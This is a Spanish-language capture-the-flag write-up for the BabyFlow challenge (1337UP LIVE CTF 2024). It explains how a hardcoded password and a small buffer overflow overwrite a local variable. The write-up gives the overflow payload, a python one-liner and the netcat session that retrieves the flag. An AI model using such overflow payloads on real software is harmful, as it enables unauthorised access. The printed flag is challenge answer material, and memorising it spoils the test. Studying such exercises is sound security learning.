BabyFlow - 1337UP LIVE CTF2024
Reto de Pwn/Reversing basado en cambiar el valor de una variable en ejecución mediante un bufferoverflow.
Autor del reto: CryptoCat
Dificultad: Fácil
Enunciado
“Does this login application even work?!
Archivos
Este reto nos da los siguientes archivos.
babyflow
: Contiene el ejecutable a vulnerar.nc babyflow.ctf.intigriti.io 1331
: Conexión por netcat al servidor del reto.
Archivos utilizados aquí.
Analizando el código
En este reto, tenemos un ejecutable el cual se corresponde con un ELF
(Executable and Linkable Format) de 64 bits LSB.
1
2
3
4
┌──(kesero㉿kali)-[~]
└─$ file babyflow
babyflow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=55a6fe0ff25ff287549a03eb79dd00df541ece7f, for GNU/Linux 3.2.0, not stripped
Para poder ejecutarlo, simplemente le otorgamos permisos de ejecución y observamos lo siguiente.
1
2
3
4
5
┌──(kesero㉿kali)-[~]
└─$ ./babyflow
Enter password: password
Inorrect Password!
Solución
En este reto, tenemos que encontrar una contraseña para poder continuar con la ejecución del programa. Lo primero que deberemos de hacer será lanzar un strings
al binario para que nos arroje las cadenas de texto contenidas en dicho ejecutable. En este caso no encontramos nada.
Lo siguiente a probar será la herramienta de Ghidra
con la cual podremos analizar el código de manera estática para observar el funcionamiento y el comportamiento del programa.
Para ello inicializamos Ghidra
, creamos un proyecto, importamos el ejecutable y por último, le damos a analizar, para que el programa nos arroje el código en ensamblador analizado.
Una vez ya tenemos el entorno creado, tenemos que irnos a la sección de funciones e ir analizando las mismas en busca de cualquier información. En este caso, solo tenemos una función main
. Tras cambiar el nombre de algunas variables en la función main
, podemos observar su comportamiento de forma más clara y a su vez, podemos ver que la contraseña esta hardcodeada en texto claro.
Como podemos ver, la contraseña a introducir para continuar con la ejecución del programa es SuPeRsEcUrEPaSsWoRd123
, por lo que ejecutando nuevamente el binario con esta contraseña obtenemos lo siguiente.
1
2
3
4
5
┌──(kesero㉿kali)-[~]
└─$ ./babyflow
Enter password: SuPeRsEcUrEPaSsWoRd123
Correct Password!
Are you sure you are admin? o.O
Para poder llegar a la ejecución del print
con la flag, tenemos que introducir la contraseña primero y posteriormente entrar dentro del if
, el cual tiene asociado una variable local_c
. Si local_c
es igual a 1
, entonces se ejecutará el contenido.
Por tanto, simplemente con cambiar el valor de local_c
a 1
, una vez hayamos introducido la contraseña correcta, ya podremos acceder a la ejecución del print
y obtener la flag, ¿cierto?
Solo hay un pequeño problema y es que en el código del ejecutable no se cambia el valor de local_c
, por lo que el valor de dicha variable permanece igual en su ejecución y su contenido siempre es 0
.
Llegados a este punto, tenemos que cambiar el valor de dicha variable de manera dinámica, es decir, una vez el programa está en ejecucción. Pero realmente, ¿cómo hacemos esto?
Para conseguir cambiar el valor de la variable local_c
, tenemos que usar técnicas como explotación de memoria o manipulación de variables en el binario.
Vamos a comenzar a realizar un sencillo Buffer Overflow
ya que podemos observar que la función fgets
permite leer hasta 50 caracteres (0x32
en hexadecimal). Sin embargo, el buffer input
tiene 44 bytes. Esto deja una brecha de 6 bytes a aprovechar para sobreescribir local_c
. Por lo tanto, tendremos que estructurar un input de manera que la parte adicional después del string correcto, sobreescriba local_c
en memoria.
Es muy importante aclarar que la variable local_c
está declarada en memoria inmediatamente después del buffer input. Esto significa que cualquier contenido adicional que sobrepase los 44 bytes del buffer de entrada puede escribir directamente sobre la variable local_c
.
Por ejemplo un buen input sería el siguiente:
1
SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01
NOTA
Para ir probando inputs, lo recomendable es utilizar la consola interactiva de python
e ir calculando la cantidad necesaria para desbordar el buffer y cambiar el contenido de la variable local_c
.
1
python -c 'print("SuPeRsEcUrEPaSsWoRd123" + "A" * 29 + "\x01")' | ./babyflow
En este caso:
SuPeRsEcUrEPaSsWoRd123
satisface la comparación de contraseña.AAAAAAAAAAAAAAAAAAAA\x01
desbordará el buffer y sobrescribelocal_c
con el valor0x01
, que se corresponde con el valor1
.
Al ejecutar el binario, obtenemos lo siguiente.
1
2
3
4
5
6
┌──(kesero㉿kali)-[~]
└─$ ./babyflow
Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01
Correct Password!
INTIGRITI{the_flag_is_different_on_remote}
Listo! Una vez tenemos la flag en local, simplemente tenemos que obtenerla de manera remota. Para esto, como este reto requiere de un payload muy sencillo, no es necesario realizar un script para automatizar el proceso, únicamente con introducir dicha cadena en el servidor, ya obtenemos la flag.
1
2
3
4
5
6
┌──(kesero㉿kali)-[~]
└─$ nc babyflow.ctf.intigriti.io 1331a
Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAA\x01
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
Flag
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}